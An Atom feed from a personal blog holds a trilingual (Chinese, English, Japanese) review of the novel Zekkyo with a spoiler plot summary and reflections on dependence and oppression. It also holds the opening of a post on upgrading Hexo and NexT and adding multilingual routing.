<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Misaka10013</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>http://misaka10013.cn/</id>
  <link href="http://misaka10013.cn/" rel="alternate"/>
  <link href="http://misaka10013.cn/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Misaka10013</rights>
  <subtitle>御坂世界</subtitle>
  <title>Misaka10013 御坂10013</title>
  <updated>2026-09-15T13:08:39.431Z</updated>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="绝叫" scheme="http://misaka10013.cn/tags/%E7%BB%9D%E5%8F%AB/"/>
    <category term="社会派推理" scheme="http://misaka10013.cn/tags/%E7%A4%BE%E4%BC%9A%E6%B4%BE%E6%8E%A8%E7%90%86/"/>
    <category term="读后感" scheme="http://misaka10013.cn/tags/%E8%AF%BB%E5%90%8E%E6%84%9F/"/>
    <content>
      <![CDATA[<p>最近读完了日本作家叶真中显的《绝叫》。一本顶着“社会派推理”名头的小说，却没有半点解谜的快感——它只是把一个人如何被生活一步步逼到绝境的过程，原原本本地摊开给你看。读的过程很压抑，但放下书之后，有些问题一直在脑子里转。整理一下感想。</p><h2 id="先说故事：阳子的一生（剧透预警）"><a href="#先说故事：阳子的一生（剧透预警）" class="headerlink" title="先说故事：阳子的一生（剧透预警）"></a>先说故事：阳子的一生（剧透预警）</h2><blockquote><p>⚠️ <strong>剧透预警</strong>：以下梗概包含全书核心反转。如果你还没读过这本书、且在意阅读体验，强烈建议先读原书再回来看——悬念的乐趣被剧透后就再也回不来了。</p></blockquote><p>铃木阳子，1973 年出生于日本一个小城的普通女孩，名字是父母随手取的“最普遍的女名”。母亲重男轻女，把全部疼爱给了体弱多病的弟弟小纯；弟弟因发育障碍遭同学霸凌，留下遗书自杀后，母亲不肯接受现实，反而把怨气全撒在阳子头上。泡沫经济破灭后，父亲欠下巨债离家出走，把妻女抛在身后。阳子独自去东京讨生活：做客服、与初恋重逢结婚、又因对方出轨被婆家逼着离婚；为谋生误入保险行业，被上司以“爱情”为名玩弄、陪睡冲业绩，事发被开除，背上卡债，一步步滑向应召女郎的深渊。缺爱的她供养着花言巧语又家暴成性的牛郎男友，被黑道人物强奸后，反而主动献上“生财之道”——用当年在保险公司学到的门道，与男友登记结婚并投保，再让人制造“车祸”撞死他，骗取巨额保险金。此后她成了黑道组织里专事“杀夫骗保”的工具，又嫁了两任“丈夫”——收容所里无人问津的游民，都死于如出一辙的“意外”。</p><p>而全书的真相要到结尾才揭晓：开篇那具在单身公寓里被猫啃食殆尽的“阳子”尸体，其实是她杀死的应召站旧同事。她除掉控制自己的黑道头目后，勒死旧同事、拿走对方的证件，又弑母灭证、整容换脸，让“铃木阳子”这个人彻底死亡，自己则以另一个身份携款远走，从此人间蒸发。全书双线并行——女刑警追查这桩“孤独死”案，第二人称则冷眼倒叙阳子的一生，两条线最终交汇于那个令人脊背发凉的真相。</p><h2 id="一、书写得很好"><a href="#一、书写得很好" class="headerlink" title="一、书写得很好"></a>一、书写得很好</h2><p>书写得很好。讲了一个叫阳子的女人，怎么被生活一步步逼到绝境。作者很厉害，把日本社会里女性的难处——比如重男轻女、工作难找、男人靠不住、钱不够用——都通过阳子的故事，活生生地展现出来。会让人看了感受到真实和憋屈，感同身受。因为它确实反映了一些社会里的真问题。</p><h2 id="二、真正的病根：人活着，就得求人"><a href="#二、真正的病根：人活着，就得求人" class="headerlink" title="二、真正的病根：人活着，就得求人"></a>二、真正的病根：人活着，就得求人</h2><p>书里对社会现象有大量呈现，也让读者真切感受到问题，但没有说透根本问题。</p><p>真正的病根，是人活着就得求人。</p><p>阳子需要吃饭生存，就得打工，便依赖于压榨她的雇主与传销组织。<br>阳子需要情感，便依赖于冷漠的家庭与薄情的男人。<br>阳子需要认同，便依赖于虚幻的消费与旁人的目光。</p><p>人和人只要有需求，就会产生依赖，有依赖就容易产生不平等和压迫。这是一种基于人类相互需求所必然产生的、普遍性的权力与不平等结构。</p><p>阳子是被男人、上司、社会压迫的可怜人。可那些压迫她的男人，在别的关系里（比如对他的老板、客户），也一样是“被压迫”的。这本书讲的是女性困境，但其实“人求人、人压人”是所有身处“依赖链”下游的弱势者都可能遇到的困境。</p><p>书里最令人不寒而栗的地方在于：被压到绝境的阳子，最后并没有成为“好人”——她从受害者变成了加害者，主动设计杀人骗保，成了链条上游新的压迫者。受害者与加害者的位置发生了互换，但“人求人、人压人”的结构纹丝不动。这才是最绝望的部分：压垮她的从来不是某个具体的坏人，而是整条依赖链本身。</p><h2 id="三、这个问题，为啥解决不了"><a href="#三、这个问题，为啥解决不了" class="headerlink" title="三、这个问题，为啥解决不了"></a>三、这个问题，为啥解决不了</h2><p>反思下来，因为人的需求会“升级”，依赖会不断变化。</p><p>就算以后社会发展高级了，保障所有人吃饱喝足，人又会想要大房子、好车子、被照顾情绪、要有大成就……需求永远在变，永远有更高级的、需要依靠别人才能得到的东西。所以，今天为口饭吃受委屈，明天可能就为一份体面工作受陪笑应酬，后天为了登上称为“成功”的舞台而向他人跪地称臣。只要我们还渴望从他人、从社会那里获取什么，权力的天平就可能倾斜，那种“求人”的屈辱与不安便如影随形。从这种意义上说，书里描绘的并非一个特定社会的病症，而是人类在组织化生存中无法逃脱的“系统设定”。</p><h2 id="四、让人看见症状，思考病根"><a href="#四、让人看见症状，思考病根" class="headerlink" title="四、让人看见症状，思考病根"></a>四、让人看见症状，思考病根</h2><p>这本书的价值，就是让人看见症状，并开始思考病根。它已经完成了它的任务。</p><p>至于解决办法，没有。衍生思索下来，这个关于“需求和依赖”的问题，是超越了性别、超越了社会制度，像是一个人类社会组织的根本困境。这也是为啥无论在哪里都躲不开这个问题。</p><p>大部分人的建议是 对自己个人：清醒一点，独立一点。许多痛苦正来源于“对他者反馈的过度渴望”。精神的独立、欲望的觉察、能力的自强，虽不能斩断所有依赖，但能让我们在不得不“求人”时，多一份清醒，少一份自我迷失，守住核心的自主与尊严。</p><p>从社会层面：虽然人类组织结构摆脱不了“人求人”这个基本设定，但可以努力建立一个更公平的“求人”规则。比如社会帮忙兜底基本生存需求。这不能根除问题，但能让阳子们的活路多一点。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/838021065.html</id>
    <link href="http://misaka10013.cn/p/838021065.html"/>
    <published>2026-09-07T09:22:28.000Z</published>
    <summary>
      <![CDATA[<p>最近读完了日本作家叶真中显的《绝叫》。一本顶着“社会派推理”名头的小说，却没有半点解谜的快感——它只是把一个人如何被生活一步步逼到绝境的过程，原原本本地摊开给你看。读的过程很压抑，但放下书之后，有些问题一直在脑子里转。整理一下感想。</p>
<h2 id="先说故事：阳子的一生（剧透预警）"><a href="#先说故事：阳子的一生（剧透预警）" class="headerlink" title="先说故事：阳子的一生（剧透预警）"></a>先说故事：阳子的一生（剧透预警）</h2><blockquote>
<p>⚠️ <strong>剧透预警</strong>：以下梗概包含全书核心反转。如果你还没读过这本书、且在意阅读体验，强烈建议先读原书再回来看——悬念的乐趣被剧透后就再也回不来了。</p>
</blockquote>]]>
    </summary>
    <title>《绝叫》读后感：逃不掉的“人求人”</title>
    <updated>2026-09-15T13:08:39.431Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="Zekkyo" scheme="http://misaka10013.cn/tags/Zekkyo/"/>
    <category term="Social School Mystery" scheme="http://misaka10013.cn/tags/Social-School-Mystery/"/>
    <category term="Reading Notes" scheme="http://misaka10013.cn/tags/Reading-Notes/"/>
    <content>
      <![CDATA[<p>I recently finished Zekkyo (絶叫) by the Japanese writer Akira Hamanaka. It wears the label of a “social-school mystery,” yet it offers none of the pleasure of puzzle-solving—it simply lays out, in unsparing detail, how a person is pushed step by step to the edge of life. Reading it was suffocating, but after I put the book down, some questions kept circling in my head. Let me organize my thoughts.</p><h2 id="The-Story-First-Yoko’s-Life-Spoiler-Alert"><a href="#The-Story-First-Yoko’s-Life-Spoiler-Alert" class="headerlink" title="The Story First: Yoko’s Life (Spoiler Alert)"></a>The Story First: Yoko’s Life (Spoiler Alert)</h2><blockquote><p>⚠️ <strong>Spoiler Alert</strong>: The summary below contains the central twist of the book. If you haven’t read it yet and care about the reading experience, I strongly suggest you read the novel first and come back later—once the suspense is spoiled, the pleasure is gone for good.</p></blockquote><p>Suzuki Yoko was born in 1973 in a small Japanese city, an ordinary girl whose name her parents picked almost carelessly—“the most common girl’s name there is.” Her mother favored sons over daughters, pouring all her love into Yoko’s frail younger brother Jun. When Jun—bullied at school because of his developmental disorder—left a suicide note and took his own life, the mother refused to accept reality and instead dumped her anger on Yoko. After the economic bubble burst, her father, drowning in debt, walked out on the family. Yoko went to Tokyo alone to make a living: she worked as a call-center operator, reunited with and married her first love, only to be pressured into divorce when he had an affair. Drifting into insurance sales, she was played by her boss in the name of “love,” slept with clients to meet her sales quotas, and was fired when it came to light. Burdened with credit-card debt, she slid step by step into working as an escort. Starved for affection, she ended up supporting a sweet-talking, violent host-club boyfriend. After being raped by a yakuza thug, it was she who proposed a “way to make money”—using the know-how she had picked up in the insurance business, she registered a marriage with her boyfriend, took out a policy on him, and had him killed in a staged “car accident” to cash in a fortune in insurance money. After that, she became the tool of a gang that specialized in “insurance-fraud husband killings,” marrying two more “husbands”—homeless men nobody cared about, taken in by the gang’s shelter—both of whom died in eerily identical “accidents.”</p><p>The truth is only revealed at the very end: the “Yoko” corpse found in that apartment at the start of the book, eaten by cats, was actually her former colleague from the escort agency. After killing the gang boss who controlled her, she strangled her old colleague, took her identity papers, killed her own mother to erase the last evidence, and had plastic surgery to change her face—making “Suzuki Yoko” completely dead, while she herself walked away with the money under a new identity, vanishing without a trace. The novel runs on two parallel tracks—a female detective investigating the “lonely death” case, and a second-person narration that coldly looks back over Yoko’s life—until the two lines converge on a truth that sends a chill down your spine.</p><h2 id="1-The-Writing-Is-Excellent"><a href="#1-The-Writing-Is-Excellent" class="headerlink" title="1. The Writing Is Excellent"></a>1. The Writing Is Excellent</h2><p>The writing is excellent. It tells the story of a woman named Yoko and how life pushed her, step by step, to the brink. The author is skillful: the hardships of women in Japanese society—favoring sons over daughters, no decent jobs to be found, men you can’t rely on, never enough money—are all brought to life vividly through Yoko’s story. You can’t help feeling the reality and the suffocation, and empathizing with her. Because it really does reflect genuine problems in society.</p><h2 id="2-The-Real-Root-Cause-To-Live-You-Must-Ask-Others"><a href="#2-The-Real-Root-Cause-To-Live-You-Must-Ask-Others" class="headerlink" title="2. The Real Root Cause: To Live, You Must Ask Others"></a>2. The Real Root Cause: To Live, You Must Ask Others</h2><p>The book presents social phenomena in abundance and lets readers truly feel the problems, but it never spells out the fundamental cause.</p><p>The real root cause is this: to live, human beings must ask others for things.</p><p>Yoko needs food and survival, so she must work—and thus depends on employers who exploit her and organizations that fleece her.<br>Yoko needs affection, so she depends on a cold family and faithless men.<br>Yoko needs recognition, so she depends on empty consumption and the eyes of others.</p><p>Wherever human needs exist, dependence arises; and where dependence exists, inequality and oppression are never far behind. This is a universal structure of power and inequality that grows inevitably out of our mutual needs as human beings.</p><p>Yoko is a pitiable woman oppressed by men, by bosses, by society. But the men who oppressed her are, in their other relationships—with their own bosses, their own clients—equally “oppressed.” This book tells the story of a woman’s predicament, but in truth, “people asking of people, people crushing people” is a predicament that can befall any weak person who ends up at the bottom of a chain of dependence.</p><p>The most chilling part of the book is this: Yoko, driven to the edge, does not end up as a “good person.” She turns from victim into perpetrator—deliberately scheming murder for insurance money, becoming a new oppressor higher up the chain. The positions of victim and perpetrator are swapped, but the structure of “people asking of people, people crushing people” stands utterly unmoved. That is the most hopeless part: what crushes her is never one particular villain, but the chain of dependence itself.</p><h2 id="3-Why-Can’t-This-Problem-Be-Solved"><a href="#3-Why-Can’t-This-Problem-Be-Solved" class="headerlink" title="3. Why Can’t This Problem Be Solved?"></a>3. Why Can’t This Problem Be Solved?</h2><p>On reflection, it’s because human needs keep “upgrading,” and dependence keeps shifting.</p><p>Even if society develops to a higher stage where everyone’s basic needs are guaranteed, people will then want bigger houses, nicer cars, emotional care, great achievements… Needs change endlessly; there is always something more advanced that can only be obtained by relying on someone else. So today you swallow humiliation for a meal; tomorrow you might be smiling through business dinners for a respectable job; the day after, you might kneel and pledge allegiance to reach a stage called “success.” As long as we still long to get something from others or from society, the balance of power can tilt—and the humiliation and unease of “asking” cling to us like a shadow. In this sense, what the book depicts is not the ailment of one particular society, but a “system setting” that humans cannot escape in organized existence.</p><h2 id="4-Making-People-See-the-Symptoms-and-Think-About-the-Root"><a href="#4-Making-People-See-the-Symptoms-and-Think-About-the-Root" class="headerlink" title="4. Making People See the Symptoms and Think About the Root"></a>4. Making People See the Symptoms and Think About the Root</h2><p>The value of this book is precisely that it lets people see the symptoms and begin to think about the root cause. It has already fulfilled its task.</p><p>As for a solution—there is none. Reasoning further, this question of “needs and dependence” transcends gender, transcends social systems; it seems to be a fundamental predicament of human organization itself. That’s why, no matter where you are, you can’t dodge this problem.</p><p>Most people’s advice comes down to this. On the personal level: stay clear-eyed, stay independent. Much suffering comes from an “excessive craving for feedback from others.” Independence of mind, awareness of one’s desires, self-reliance in one’s abilities—these cannot sever every dependence, but they can give us a measure of clarity when we have no choice but to “ask,” a little less self-loss, and a hold on the autonomy and dignity at our core.</p><p>On the social level: although human organizations cannot escape the basic setting that “people ask of people,” we can still try to build fairer rules for “asking.” For instance, society can underwrite the basic needs of survival for everyone. That can’t eradicate the problem, but it can leave the Yokos of this world a little more room to live.</p>]]>
    </content>
    <id>http://misaka10013.cn/en/p/838021065.html</id>
    <link href="http://misaka10013.cn/en/p/838021065.html"/>
    <published>2026-09-07T09:22:28.000Z</published>
    <summary>
      <![CDATA[<p>I recently finished Zekkyo (絶叫) by the Japanese writer Akira Hamanaka. It wears the label of a “social-school mystery,” yet it offers none of the pleasure of puzzle-solving—it simply lays out, in unsparing detail, how a person is pushed step by step to the edge of life. Reading it was suffocating, but after I put the book down, some questions kept circling in my head. Let me organize my thoughts.</p>
<h2 id="The-Story-First-Yoko’s-Life-Spoiler-Alert"><a href="#The-Story-First-Yoko’s-Life-Spoiler-Alert" class="headerlink" title="The Story First: Yoko’s Life (Spoiler Alert)"></a>The Story First: Yoko’s Life (Spoiler Alert)</h2><blockquote>
<p>⚠️ <strong>Spoiler Alert</strong>: The summary below contains the central twist of the book. If you haven’t read it yet and care about the reading experience, I strongly suggest you read the novel first and come back later—once the suspense is spoiled, the pleasure is gone for good.</p>
</blockquote>]]>
    </summary>
    <title>Zekkyo Reading Notes: The Inescapable Dependence on Others</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="社会派推理" scheme="http://misaka10013.cn/tags/%E7%A4%BE%E4%BC%9A%E6%B4%BE%E6%8E%A8%E7%90%86/"/>
    <category term="絶叫" scheme="http://misaka10013.cn/tags/%E7%B5%B6%E5%8F%AB/"/>
    <category term="読書感想" scheme="http://misaka10013.cn/tags/%E8%AA%AD%E6%9B%B8%E6%84%9F%E6%83%B3/"/>
    <content>
      <![CDATA[<p>最近、葉真中顕の『絶叫』を読み終えた。「社会派推理小説」の看板を掲げた一冊なのに、謎解きの快感はほとんどない。ただ、一人の人間が生活に少しずつ追い詰められていく過程を、そのまま目の前に差し出してくるだけだ。読んでいる間は息が詰まる思いだったが、本を閉じた後も、いくつかの問いが頭の中をぐるぐる回り続けている。感想を整理しておきたい。</p><h2 id="まずはあらすじ：陽子の生涯（ネタバレ注意）"><a href="#まずはあらすじ：陽子の生涯（ネタバレ注意）" class="headerlink" title="まずはあらすじ：陽子の生涯（ネタバレ注意）"></a>まずはあらすじ：陽子の生涯（ネタバレ注意）</h2><blockquote><p>⚠️ <strong>ネタバレ注意</strong>：以下のあらすじには作品の核心的などんでん返しが含まれています。まだ読んでおらず、読書体験を大切にしたい方は、先に原作をお読みになってから戻ってくることを強くおすすめします。サスペンスの面白さは、一度ネタバレされたら二度と戻ってきません。</p></blockquote><p>鈴木陽子は1973年、地方の小さな町に生まれた普通の少女だった。名前は両親がいい加減につけた「どこにでもいる女の子の名前」。母は男尊女卑で、病弱な弟の純に愛情のすべてを注いだ。発達障害ゆえに学校でいじめられ、遺書を残して自殺した純の死を、母は受け入れることができず、その怒りを陽子にぶつけた。バブル経済崩壊後、父は借金を抱えて家を出て行き、妻子を置き去りにした。陽子は一人で東京へ出て暮らしを立てようとした。コールセンターで働き、初恋の相手と再会して結婚するが、彼の浮気が原因で義実家から離婚を迫られる。生活のため生命保険の営業に足を踏み入れ、上司に「愛情」の名で弄ばれ、成績のために体を売り、それが発覚して解雇され、カードローンに追われながら、コールガールの仕事へと少しずつ滑り落ちていく。愛情に飢えた彼女は、口上手で暴力を振るうホストの彼氏を養っていた。ヤクザに強姦された後、彼女の方から「金を稼ぐ方法」を提案した——保険会社で覚えたノウハウを使い、彼氏と婚姻届を出して保険をかけ、車の「事故」に見せかけて殺させ、巨額の保険金をせしめたのだ。以後、陽子は組の「保険金殺人の道具」となり、さらに二人の「夫」——組が運営する施設に引き取られた、誰からも顧みられないホームレス——と結婚し、二人ともそっくり同じ「事故」で命を落とした。</p><p>真実が明かされるのはラストになってからだ。冒頭でワンルームマンションから見つかった、猫に食い荒らされた「陽子」の遺体は、実は彼女が殺した風俗業界時代の同僚だった。自分を支配していた組の親分を殺した陽子は、かつての同僚を絞殺して身分証を奪い、さらに実母を殺して証拠を消し、整形で顔を変えた。「鈴木陽子」という人間を完全に死なせ、自分は別の身分で大金とともに姿を消したのである。小説は二つの線が並行して進む。孤独死事件を追う女性刑事の線と、陽子の人生を冷徹な二人称の語りで振り返る線。二つの線はやがて交差し、背筋が凍るような真実へと至る。</p><h2 id="一、よく書けている"><a href="#一、よく書けている" class="headerlink" title="一、よく書けている"></a>一、よく書けている</h2><p>よく書けている。陽子という女が、どうやって生活に少しずつ追い詰められていったのかを描いた物語だ。著者はうまい。日本社会における女性の苦しみ——男尊女卑、仕事がない、男は当てにならない、金が足りない——を、陽子の物語を通して生き生きと描き出している。読んでいてリアルさとやりきれなさを感じ、共感せずにはいられない。社会の本当の問題を確かに映し出しているからだ。</p><h2 id="二、本当の病根：生きるということは、人に頼ること"><a href="#二、本当の病根：生きるということは、人に頼ること" class="headerlink" title="二、本当の病根：生きるということは、人に頼ること"></a>二、本当の病根：生きるということは、人に頼ること</h2><p>この小説は社会現象を大量に描き出し、読者に問題をひしひしと感じさせる。だが、根本の問題を言い当ててはいない。</p><p>本当の病根は、人間は生きていくために人に頼らざるを得ない、ということだ。</p><p>陽子は食べて生きていくために働かねばならず、搾取する雇用主とマルチ商法の組織に依存した。<br>陽子は愛情を必要とし、冷たい家族と薄情な男たちに依存した。<br>陽子は承認を必要とし、虚ろな消費と他人の目に依存した。</p><p>人間は何か欲しがる限り依存が生まれ、依存があれば不平等と抑圧が生まれやすい。これは人間が互いに必要とし合うことから必然的に生まれる、普遍的な権力と不平等の構造である。</p><p>陽子は男に、上司に、社会に抑圧された哀れな人間だ。しかし彼女を抑圧した男たちも、別の関係のなかでは——自分の上司や客との関係では——同じように「抑圧されている」。この本が描くのは女性の苦境だが、実は「人に頼り、人が人を押し潰す」という構図は、「依存の連鎖」の下流にいるすべての弱者が陥りうる苦境なのである。</p><p>この本で最も背筋が寒くなるのはここだ。絶望のどん底まで追い詰められた陽子は、最後に「善人」にはならなかった。彼女は被害者から加害者へと転じ、自ら保険金殺人を企て、連鎖の上流に立つ新たな抑圧者になった。被害者と加害者の立場は入れ替わったが、「人に頼り、人が人を押し潰す」という構造はびくともしない。これこそが最も絶望的な部分だ。彼女を押し潰したのは、特定の悪人ではなく、依存の連鎖そのものなのだから。</p><h2 id="三、この問題は、なぜ解決できないのか"><a href="#三、この問題は、なぜ解決できないのか" class="headerlink" title="三、この問題は、なぜ解決できないのか"></a>三、この問題は、なぜ解決できないのか</h2><p>考えてみると、人間の欲求は「アップグレード」し続け、依存も変わり続けるからだ。</p><p>たとえ社会がもっと進歩して、すべての人が衣食住を保証されるようになったとしても、人は広い家を、いい車を、感情のケアを、大きな業績を欲しがる……欲求は永遠に変わり続け、常により高次の、誰かに頼らなければ手に入らないものがある。だから今日は食べるために屈辱を呑み、明日は体裁のいい仕事のために愛想笑いを浮かべて付き合いに回り、明後日は「成功」と呼ばれる舞台に上がるために他人にひざまずくかもしれない。私たちが他人や社会から何かを得たいと願い続ける限り、力の天秤は傾きうる。あの「人に頼む」屈辱と不安は、影のように付きまとうのだ。そういう意味で、この本が描いているのは特定の社会の病ではない。組織化された生存から逃れられない、人類の「システム設定」なのである。</p><h2 id="四、症状を見せ、病根を考えさせる"><a href="#四、症状を見せ、病根を考えさせる" class="headerlink" title="四、症状を見せ、病根を考えさせる"></a>四、症状を見せ、病根を考えさせる</h2><p>この本の価値は、症状を見せて、病根を考え始めさせてくれることだ。それはもう役割を果たしている。</p><p>解決策については——ない。さらに考えを進めると、「欲求と依存」の問題は性別を超え、社会制度を超え、人類の社会的組織が抱える根本的な困境のようなものだ。だからこそ、どこにいてもこの問題からは逃げられない。</p><p>多くの人が勧めるのは——個人としては：しっかり目を覚まし、自立すること。多くの苦しみは「他者からの反応への過剰な渇望」から来ている。精神の自立、欲望への自覚、能力の向上は、すべての依存を断ち切ることはできないが、「頼らざるを得ない」ときに少しの清醒を保ち、自己喪失を減らし、核となる自律と尊厳を守ることができる。</p><p>社会のレベルでは：人間の組織構造が「人に頼る」という基本設定から逃れられないとしても、より公平な「頼み方のルール」を築く努力はできる。例えば、社会が基本的な生存需要を下支えする。これで問題を根絶することはできないが、陽子たちの生きる道を少しだけ増やすことはできる。</p>]]>
    </content>
    <id>http://misaka10013.cn/ja/p/838021065.html</id>
    <link href="http://misaka10013.cn/ja/p/838021065.html"/>
    <published>2026-09-07T09:22:28.000Z</published>
    <summary>
      <![CDATA[<p>最近、葉真中顕の『絶叫』を読み終えた。「社会派推理小説」の看板を掲げた一冊なのに、謎解きの快感はほとんどない。ただ、一人の人間が生活に少しずつ追い詰められていく過程を、そのまま目の前に差し出してくるだけだ。読んでいる間は息が詰まる思いだったが、本を閉じた後も、いくつかの問いが頭の中をぐるぐる回り続けている。感想を整理しておきたい。</p>
<h2 id="まずはあらすじ：陽子の生涯（ネタバレ注意）"><a href="#まずはあらすじ：陽子の生涯（ネタバレ注意）" class="headerlink" title="まずはあらすじ：陽子の生涯（ネタバレ注意）"></a>まずはあらすじ：陽子の生涯（ネタバレ注意）</h2><blockquote>
<p>⚠️ <strong>ネタバレ注意</strong>：以下のあらすじには作品の核心的などんでん返しが含まれています。まだ読んでおらず、読書体験を大切にしたい方は、先に原作をお読みになってから戻ってくることを強くおすすめします。サスペンスの面白さは、一度ネタバレされたら二度と戻ってきません。</p>
</blockquote>]]>
    </summary>
    <title>『絶叫』読書感想：逃れられない「人頼み」</title>
    <updated>2026-09-15T13:08:39.431Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="http://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Hexo" scheme="http://misaka10013.cn/tags/Hexo/"/>
    <category term="博客升级" scheme="http://misaka10013.cn/tags/%E5%8D%9A%E5%AE%A2%E5%8D%87%E7%BA%A7/"/>
    <category term="多语言" scheme="http://misaka10013.cn/tags/%E5%A4%9A%E8%AF%AD%E8%A8%80/"/>
    <category term="NexT" scheme="http://misaka10013.cn/tags/NexT/"/>
    <category term="安知鱼" scheme="http://misaka10013.cn/tags/%E5%AE%89%E7%9F%A5%E9%B1%BC/"/>
    <content>
      <![CDATA[<h2 id="一、背景与动机"><a href="#一、背景与动机" class="headerlink" title="一、背景与动机"></a>一、背景与动机</h2><p>我的博客（misaka10013.cn）从建站起就一直用 Hexo 4.2.0 + NexT 6.0.0，跑了 6 年没动过框架。<br>最近几次想加新功能、调页面，每次让 AI 配合干活，对方都吐槽版本太老——依赖过时、插件不兼容、配置语法都变了。早就该升了，但一直懒得动。</p><p>最近我主要有点新想法：</p><p><strong>1. 多语言支持。</strong> 我想加中英日三语——一是练外语，切换着看自己写的文章；二是 SEO 问题，不管国内国外，我的博客文章都不容易被搜到，多语言版本对搜索引擎更友好。</p><p><strong>2. 想试试新主题。</strong> 看上了安知鱼（AnZhiYu）主题，颜色丰富、圆角卡片、渐变动画，和 NexT 的性冷淡风格是两个极端。既然要改，不如直接升到最新版本，一次性解决。</p><h2 id="二、升级框架（Hexo-4→8-NexT-6→8）"><a href="#二、升级框架（Hexo-4→8-NexT-6→8）" class="headerlink" title="二、升级框架（Hexo 4→8 + NexT 6→8）"></a>二、升级框架（Hexo 4→8 + NexT 6→8）</h2><h3 id="总思路"><a href="#总思路" class="headerlink" title="总思路"></a>总思路</h3><p>经过和AI的初步沟通讨论，以及对博客情况的了解后，初步定下执行方案。从 <code>master</code> 分支分出 <code>next8</code> 分支，在分支上完成升级、主题迁移、功能移植、多语言开发，全部测试通过后再合并回 <code>master</code> 上线。全程不影响线上运行的旧版。</p><h3 id="分工"><a href="#分工" class="headerlink" title="分工"></a>分工</h3><ul><li><strong>我（御坂）</strong>：定方案、验步骤、拍板决策</li><li><strong>AI</strong>：具体执行、评估影响、踩坑反馈</li></ul><h3 id="升级清单"><a href="#升级清单" class="headerlink" title="升级清单"></a>升级清单</h3><table><thead><tr><th>项目</th><th>旧版本</th><th>新版本</th></tr></thead><tbody><tr><td>Hexo</td><td>4.2.0</td><td>8.1.2</td></tr><tr><td>NexT</td><td>6.0.0（git clone）</td><td>8.29.0（npm 包）</td></tr><tr><td>Node.js</td><td>16.x</td><td>22.22.2</td></tr><tr><td>部署</td><td>CNB 云构建</td><td>同上（需改 node:18→node:22）</td></tr></tbody></table><h2 id="三、多语言方案"><a href="#三、多语言方案" class="headerlink" title="三、多语言方案"></a>三、多语言方案</h2><h3 id="需求对齐过程"><a href="#需求对齐过程" class="headerlink" title="需求对齐过程"></a>需求对齐过程</h3><p>因为需要和AI协同，所以一定需要和AI对齐颗粒度。我先让 AI 针对我粗略的需求提具体实现方法，然后采用苏格拉底式来不断问我话，逐步对齐需求：</p><ol><li>三语 UI（中英日）——✅ 必须</li><li>切换按钮全站侧边栏常驻——✅ 必须</li><li>语言站首页只显示对应语言文章——✅ 必须</li><li>文章页：有译文→跳转，无译文→按钮置灰禁用+文内提示——✅ 折中方案</li><li>翻译是用户的活，AI 只搭框架——✅ 明确</li><li>日文站初期可空首页——✅ 接受</li></ol><h3 id="最终方案：单构建-薄脚本"><a href="#最终方案：单构建-薄脚本" class="headerlink" title="最终方案：单构建 + 薄脚本"></a>最终方案：单构建 + 薄脚本</h3><p>最终方案是单构建 + 一个 <code>scripts/i18n-blog.js</code> 搞定所有逻辑。</p><h4 id="1-定义译文路由：post-permalink-过滤器（优先级-9）"><a href="#1-定义译文路由：post-permalink-过滤器（优先级-9）" class="headerlink" title="1.定义译文路由：post_permalink 过滤器（优先级 9）"></a>1.定义译文路由：<code>post_permalink</code> 过滤器（优先级 9）</h4><ul><li><strong>要解决的问题</strong>：默认情况下，所有文章都使用相同的 URL 结构，无法区分语言版本。</li><li><strong>脚本做法</strong>：在 Hexo 生成文章永久链接时进行拦截并改写。<ul><li>如果文章是默认语言（如 <code>zh-CN</code>），保持原有路径，例如 <code>/p/xxx.html</code>。</li><li>如果文章是译文（如 <code>en</code>），强制改写成 <code>/en/p/xxx.html</code>。</li></ul></li></ul><p>效果：同一篇文章的不同语言版本拥有<strong>独立且规范的 URL</strong>，便于 SEO 和后续的切换跳转。</p><h4 id="2-生成各语言独立的列表页面：覆盖-index-archive-category-tag-生成器"><a href="#2-生成各语言独立的列表页面：覆盖-index-archive-category-tag-生成器" class="headerlink" title="2.生成各语言独立的列表页面：覆盖 index / archive / category / tag 生成器"></a>2.生成各语言独立的列表页面：覆盖 <code>index / archive / category / tag</code> 生成器</h4><ul><li><strong>要解决的问题</strong>：Hexo 默认的生成器把所有的文章混在一起生成首页和归档，无法按语言区分。</li><li><strong>脚本做法</strong>：<ul><li>重写这些生成器的逻辑。</li><li>针对每一种语言，分别生成该语言的<strong>首页、归档页、分类页、标签页</strong>。</li><li>生成时<strong>只筛选属于该语言的文章</strong>。</li><li>如果该语言下没有任何文章，则生成一个<strong>占位页</strong>，而不是直接返回 404。</li></ul></li></ul><p>效果：</p><ul><li>每个语言站拥有自己的首页和内容列表，互不干扰。</li><li>访问 <code>/en/</code> 时至少能看到占位提示，不会有空页面报错，用户体验更完善。</li></ul><h4 id="3-1-增加语言切换器（Select-下拉框）和文章插入语言横幅提示"><a href="#3-1-增加语言切换器（Select-下拉框）和文章插入语言横幅提示" class="headerlink" title="3.1 增加语言切换器（Select 下拉框）和文章插入语言横幅提示"></a>3.1 增加语言切换器（Select 下拉框）和文章插入语言横幅提示</h4><ul><li><p>让脚本会分析<strong>当前页面</strong>是否存在其他语言的对应版本。</p></li><li><p><strong>有译文</strong>：切换选项高亮&#x2F;可点击，并指向正确的译文地址。</p></li><li><p><strong>无译文</strong>：切换选项置灰（<code>disabled</code>），并通过 <code>title</code> 属性提示“该文章暂无英文版”等。</p></li><li><p>当文章存在其他语言版本时，在文章正文顶部插入提示横幅。</p></li><li><p>例如：“本文还有英文版：English 